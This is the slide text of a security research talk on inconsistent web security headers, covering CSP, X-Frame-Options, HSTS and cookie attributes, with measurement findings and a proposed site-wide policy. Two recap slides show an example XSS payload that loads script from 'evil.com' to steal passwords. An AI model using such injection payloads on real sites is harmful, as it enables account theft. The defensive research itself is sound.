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This talk 
requires 
interaction!
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Clickjacking

Cross-Site Scripting Network Attackers

CSRF / XSSI

XFO

CSP HSTS

Cookie 
Sec.

Protection should be consistent
irrespective of client 

characteristics or exact URL

Motivation
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Measuring security inconsistencies in 

deployed security headers

Problems of the Origin Policy and how  

we can improve it with “Site Policy”

USENIX Security 2022 NDSS 2021
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Such science, much wow



Recap: Cross-Site Scripting (XSS)
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2. GET https://vuln.com/?pl=<script src=//evil.com>

3. HTTP Response

incl. <script src=//evil.com>

1. XSS Payload
https://vuln.com?pl=<script src=//evil.com>

4. GET https://evil.com

5. steal_passwords()



Recap: Content Security Policy (CSP)
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2. GET https://vuln.com/?pl=<script src=//evil.com>

3. HTTP Response with CSP Header

incl. <script src=//evil.com>

1. XSS Payload
https://vuln.com?pl=<script src=//evil.com>

4. GET https://evil.com

5. steal_passwords()
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Content-Security-Policy: 

script-src 
'self'
advertisement.com
'nonce-a7b4f9420'
'sha256-3i[…]FQ=';

Example Content Security Policy Header:

Recap: Content Security Policy (CSP)



Let’s talk 
about cat 
pictures
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Yes!

Wanna see 
more Kittenpics?

https://kittenpics.org/

Recap: Clickjacking
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X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

X-Frame-Options: ALLOW-FROM partnersite.com;

Example X-Frame-Options Headers:

No one can load me

Only I can load myself

Only my partner can load me

XFO is deprecated since summer 2014!

Recap: X-Frame-Options (XFO)
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Content-Security-Policy: 

script-src 
'self'
advertisement.com
'nonce-a7b4f9420'
'sha256-3i[…]FQ=';

 frame-ancestors
  partnersite.com;

Example Content Security Policy Header:

XSS Mitigation

Framing Control

Recap: CSP (again)
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Strict-Transport-Security: 

max-age=63072000;

includeSubDomains;

 preload;

Example Strict Transport Security Header:

Time until expiry

Apply to all subdomains

Inclusion in the preload list[1]

[1] https://hstspreload.org/

Recap: Strict Transport Security (HSTS)



Roth (@s3br0th) & Stock (@kcotsneb) - Security Inconsistencies15

Content-Security-Policy: 

script-src 
'self'
advertisement.com
'nonce-a7b4f9420'
'sha256-3i[…]FQ=';

 frame-ancestors
  partnersite.com;

 upgrade-insecure-requests;

Example Content Security Policy Header:

XSS mitigation

Framing control

TLS enforcement

Recap: CSP (again, and again)
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Set-Cookie: 

session-id=r4nd0m5tr1ng;

HttpOnly;

 Secure;

 SameSite=

  Strict;

  Lax;

  None;

Example Set-Cookie Header (with security attributes):

Key / value pair that is stored

Not accassable via JS (XSS)

Only sent via HTTPS (MITM)

Recap: Set-Cookie

Only sent for ….

…. same-site top-level navigations (CSRF)

…. same-site requests (CSRF)

…. cookies where „Secure“ is set



Quiz time
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

So, which header will be valid?
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

So, which header will be valid?
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

• Set-Cookie:

sid=r4nd0m1D; Secure

sid=r4nd0m1D

So, which header will be valid?
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

• Set-Cookie:

sid=r4nd0m1D; Secure

sid=r4nd0m1D

So, which header will be valid?
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

• Set-Cookie:

sid=r4nd0m1D; Secure

sid=r4nd0m1D

• X-Frame-Options: 

SAMEORIGIN, DENY

So, which header will be valid?
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

• Set-Cookie:

sid=r4nd0m1D; Secure

sid=r4nd0m1D

• X-Frame-Options: 

SAMEORIGIN, DENY

So, which header will be valid?
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

• Set-Cookie:

sid=r4nd0m1D; Secure

sid=r4nd0m1D

• X-Frame-Options: 

SAMEORIGIN, DENY

• Content-Security-Policy:

script-src 'unsafe-inline'; script-src 'nonce-r4nd0m'

So, which header will be valid?
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• Strict-Transport-Security:
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• Set-Cookie:

sid=r4nd0m1D; Secure
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• Strict-Transport-Security:

max-age=1234, max-age=256000; includeSubDomains

• Set-Cookie:

sid=r4nd0m1D; Secure

sid=r4nd0m1D

• X-Frame-Options: 

SAMEORIGIN, DENY

• Content-Security-Policy:

script-src 'unsafe-inline'; script-src 'nonce-r4nd0m'

script-src 'unsafe-inline', script-src 'nonce-r4nd0m'

So, which header will be valid?
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The Security 
Lottery
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What are Security Inconsistencies?
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Different content… 403
Forbidden

Similar content…

...but different 
security headers

⇒ Inconsistent

… not compareable
CSP:                     ❌
script-src *

CSP:                          🛡
script-src ‘none‘

CSP:                       ❌
*not set*



Such science, much wow (again)
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Define 
Tests

Visit 
Top 10k

Intra-
Test 

Inconsistencies

Inter-
Test 

Inconsistencies5 Requests per 
Testcase

UA:   19 (5 Browsers | 5 OSs)
VPN: 218 Countries
Tor:   49 Endnodes
Conf: 5 Languages

Different within a Test:

TORUS:  🛡 🛡❌🛡❌

Different between Tests:

UA1:  🛡 🛡 🛡 🛡 🛡

UA2:  ❌❌❌❌❌



Inter-Test Inconsistencies
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Mechanism User-Agent Language VPN Tor ANY

XFO 7 - 29 13 37

HSTS 8 - 23 16 35

CSP 15 - 29 18 47
↳XSS 9 - 1 1 10
↳Framing 2 - 16 5 20

Cookie 150 1 13 8 167
↳Secure 144 - 8 3 152
↳SameSite 6 1 4 4 14
↳HttpOnly 2 - 3 2 6

ANY 180 1 94 55 286



• Only XFO for desktop but not for mobile browsers

• Sane CSP only for non-Apple users

• Discrimination of specific browsers (Firefox, Opera, Safari)

ÞBehaviour doesn‘t make sense …. (more later)

• No secure cookies for Firefox on iOS

ÞUser-Agent parsing issues:

• Firefox on iOS had a different version number!

User-Agent parsing & traps
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User-Agent traps to deploy certain mechanism only to supporting 
browser does not make any sense:

1. Users might change their UA due to privacy concerns

2. Developer (unneccesarrily) need to maintain them

3. Headers are backwards compartible!

  e.g., if there is a CSP with an unknown source 

         expression, this expression is just ignored.

Browser traps make NO sense!
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Misconfigured origin servers
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Intra-Test Inconsistencies
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⇒ Attackers can 
opportunistically attack 
a victim until the attack 

succeeds.

Mechanism Intra-Test Incon.
CSP 36
XFO 50
Cookies 16
HSTS 38
-> Preload 10



1. max-age=31536000; preload

2. max-age=31536000; preload

3. <no header>

4. max-age=31536000; preload

5. <no header>

Which HSTS inconsistency is worse?
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1. max-age=31536000; preload

2. max-age=31536000; preload

3. max-age=31536000

4. max-age=31536000; preload

5. max-age=31536000

https://hstspreload.org/removal/



Load balancing with multiple origin servers
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Caching practices 
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Age: 9. May 2023
…
XFO: DENY

Age: 28. April 2023
…
XFO: ALLOW-FROM example.com



The Security Lottery
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Take-Away Messages

Client-side security is not equally delivered to all clients!
Ø 321 sites had some security inconsistencies!

Misconfigured servers for specific countries and browser traps 
enable deteministic attacks (inter-test inconsistencies).

Non-deterministic inconsistencies play into the hands of 
opportunistic attackers and impact Web measurements.

cispa/the-security-lottery



When 
“randomness” 
bites you
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Content-Security-Policy:

 script-src
'nonce-R4nd0m-mail’ 
'nonce-R4nd0m-pub’ 
'nonce-R4nd0m-twitter’ 
'nonce-R4nd0m-2x’ 
'nonce-R4nd0m-showhidediv'
[…]

  

lip6.fr
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Content-Security-Policy:

 script-src
'nonce-YWhhc3NvYXBwbGljYXRpb25pbnNpZ2h0c25vbmNl'
'nonce-QUhBU1NPR29vZ2xlQW5hbHl0aWNzTm9uY2U='
'nonce-YWhhY3NwYm9vdHJhcA=='
'nonce-YWhhc3NvcGhvbmV2YWxpZGF0aW9ubm9uY2U='
'nonce-YWhhdG9rZW52ZXJpZmljYXRpb25tb2RhbA=='
'nonce-YWhhc3NvY3VzdG9tZm9vdGVyY29udGFjdA=='
'nonce-YWhheHJlZ2V4cG5vbmNldmFs'
'nonce-YWhhc3NvcmVjYXB0Y2hhdmVyaWZpY2F0aW9uIQ=='
'nonce-bm9uY2Vmb3JyZXRyaWV2ZWFjY291bnRhaGE=‚
[…]

  

ahasso.heart.org (American Heart Association)
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base64("ahassoapplicationinsightsnonce")'
base64("AHASSOGoogleAnalyticsNonce")'
base64("ahacspbootrap")'
base64("ahassophonevalidationnonce")'
base64("ahatokenverificationmodal")'
base64("ahassocustomfootercontact")'
base64("ahaxregexpnonceval")'
base64("ahassorecaptchaverification!")'
base64("nonceforretrieveaccountaha")'

  



Content-Security-Policy:

script-src 
'nonce-MTY4MzgwMzI0MA=='
[...]

base64decode("MTY4MzgwMzI0MA==") <=> 1683803240

1683803240 <=> Thursday, 11. May 2023 13:07:20 GMT+2

parcoursup.fr
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nuxt.js & caches
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https://github.com/nuxt/nuxt.js/issues/8646

For more funky case studies and how cache impacts nonce reusage:

Stay tuned for the paper!



Solving it?
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- For NDSS 2021 study, we looked at consistency both 
vertically and horizontally

- Top 15k sites, up to 300 subpages from the same site

- Expectation: same object (e.g., origin or domain-scoped 
cookie) should have same security

- Results are sad:

- 9% of all cookies have differing security attributes
- Biggest fraction originates from Secure flag

- Safe CSP (already rare) undermined by 50% of sites 

with at least one unsafe (or lacking) CSP

- HSTS inconsistent on 81% of sites

Such science, much wow (again and again)
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For CSP and HSTS, majority of 
cases are omitted headers



- (Now deprecated) W3C proposal

- Idea: single manifest file to specify origin-wide policies

- HTTP header to specify Origin-Policy should be used

- Several drawbacks

- Does not have “selector”, only cache identifier
- Only one policy per origin possible

- Omitting Origin-Policy header means: no security

- Cookie and HSTS go beyond origin boundary

Origin Policy to the rescue?
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- Take good parts from Origin-Policy

- Central manifest file 

- Fix problematic parts of Origin-Policy

- Site-wide defaults (if header is omitted, 

fall back on that)

- Security exceptions must be made explicit (by 

specifiying and selecting insecure policy)

- Parsing manifest implies understanding worst-

case security guarantees

- ... we need to talk to W3C at some point ;-)

Our Proposal: Site Policy
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Quiz bonus 
round!
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation ('invalid)

So, which header will be valid? (bonus round!)
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation ('invalid)

So, which header will be valid? (bonus round!)
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation ("https://origin.com")

So, which header will be valid? (bonus round!)
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation ("https://origin.com")

So, which header will be valid? (bonus round!)
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation ("https://*.origin.com")

So, which header will be valid? (bonus round!)
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation ("https://*.origin.com")

So, which header will be valid? (bonus round!)
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation (https://origin.com)

So, which header will be valid? (bonus round!)
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• Permissions-Policy:
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• Permissions-Policy:

• Permissions-Policy: geolocation ()

• Permissions-Policy: geolocation (https://origin.com)

So, which header will be valid? (bonus round!)
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Until Site 
Policy, some 
best practices
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- Misconfigurations are common 

- Some due to misunderstanding of headers

- Some due to the CDN/origin servers setup

- Scan your sites in-depth for blind spots

- Avoid unnecessary browser switches

- All relevant mechanisms are backwards compatible

- Beware of duplicate header rules

- CSP: Composition, HSTS: first, Permissions-Policy: last, 

Set-Cookie: last, Referrer-Policy: last, XFO: wtf

Summary & Best Practices
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cispa/the-security-lottery

Let’s discuss!


